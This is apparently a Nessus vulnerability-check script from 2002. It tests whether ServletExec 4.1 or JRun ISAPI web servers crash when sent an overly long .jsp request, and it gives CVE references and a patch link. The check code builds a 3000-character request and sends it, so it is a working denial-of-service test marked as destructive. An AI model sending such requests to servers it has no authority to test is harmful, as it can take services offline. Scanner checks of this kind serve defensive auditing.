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- #
- # This script was written by Matt Moore <matt.moore@westpoint.ltd.uk>
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Wrong BugtraqID(6122). Changed to BID:4796. Added CAN.
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10958);
- script_bugtraq_id(1570, 4796);
- script_cve_id("CAN-2002-0894", "CVE-2000-0681");
- script_version ("$Revision: 1.11 $");
- name["english"] = "ServletExec 4.1 / JRun ISAPI DoS";
- name["francais"] = "ServletExec 4.1 / JRun ISAPI DoS";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- By sending an overly long request for a .jsp file it is
- possible to crash the remote web server.
-
- This problem is known as the ServletExec / JRun ISAPI DoS.
-
- Solution for ServletExec:
- Download patch #9 from ftp://ftp.newatlanta.com/public/4_1/patches/
-
- References:
-
- www.westpoint.ltd.uk/advisories/wp-02-0006.txt
- http://online.securityfocus.com/bid/6122
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Tests for ServletExec 4.1 ISAPI DoS";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
- script_copyright(english:"This script is Copyright (C) 2002 Matt Moore",
- francais:"Ce script est Copyright (C) 2002 Matt Moore");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl", "www_too_long_url.nasl");
- script_require_ports("Services/www", 80);
- script_exclude_keys("www/too_long_url_crash");
- exit(0);
- }
-
- # Check starts here
-
- include("http_func.inc");
- crashes_already = get_kb_item("www/too_long_url_crash");
- if(crashes_already)exit(0);
-
- port = get_http_port(default:80);
-
- if(get_port_state(port))
- {
- banner = get_http_banner(port:port);
- if ( ! banner ) exit(0);
- if ( "JRun" >!< banner ) exit(0);
-
- buff = string("/", crap(3000), ".jsp");
-
- req = http_get(item:buff, port:port);
-
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- if (!r)
- security_hole(port);
-
- }
- }
-
-